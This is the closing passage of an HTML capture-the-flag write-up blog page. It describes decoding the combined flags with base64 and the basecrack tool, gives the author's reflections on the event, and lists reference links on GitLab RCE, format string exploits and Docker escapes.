537<p><img src="/images/final_shell.png" alt="" /></p>
538
539<p>We have finally got out 8th flag.</p>
540
541<h1 id="final-challenge">
541FINAL CHALLENGE</h1>
542
543<p>Final challenge was a bit cringe. Personal view, no offence. so task was to combine all the flags and decode it. <code class="language-plaintext highlighter-rouge">base64 -d</code> command didn’t work for me(It did work but it was outputing invalid base64, so i though i might be doing it wrong). I was preety frustrated. There were enough hints directing it towards base64. <code class="language-plaintext highlighter-rouge">Lower your base</code>, <code class="language-plaintext highlighter-rouge">number 6</code>. It was enough. I thought it might be some other base encoding, could be base58 or anything. So i checked if there is any tool that auto detects and decodes for me. Quick google shows  <code class="language-plaintext highlighter-rouge">basecrack</code>.So i grabbed the <code class="language-plaintext highlighter-rouge">basecrack</code> tool.</p>
544
545<p><img src="/images/base_crack.png" alt="" /></p>
546
547<h1 id="final-words">FINAL WORDS</h1>
548
549<p>CTF was really exciting and i had real fun. It was overall a roller coaster ride. I would like to rate it 8.5/10 (Yeah i know, it’s not a movie. I have a habit of rating pretty much everything). Regarding the writeup it’s not possible to explain each and every process. There is no way someone can mention all their thought process, troubleshooting and frustration. Some of the Vulnerability were very technical. Like format string, container escape and gitlab rce which requires complete separete writeup.</p>
550
551<p>My lovely readers if you have reached this far then i would rate 10/10 for your reading skills. Ofcourse same score for your patience level.</p>
552
553<p>Don’t tell my you directly jumped here. If then, here is your score: 10/∞.</p>
554
555<h1 id="resource-section">Resource Section</h1>
556<h3 id="gitlab-rce-httpswwwyoutubecomwatchvlrljuyadoag">Gitlab RCE: https://www.youtube.com/watch?v=LrLJuyAdoAg</h3>
557<h3 id="format-string-httpscodearcanacomposts20130502introduction-to-format-string-exploitshtml">Format String: https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html</h3>
558<h3 id="docker-escape-httpsblogtrailofbitscom20190719understanding-docker-container-escapes">Docker Escape: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/</h3>
559<h3 id="twitter-api-docs-httpsdevelopertwittercomendocs">Twitter API Docs: https://developer.twitter.com/en/docs</h3>
560
561
562
563      <footer class="site-footer">
564        
565      </footer>
566    </main>
567  </body>
568</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.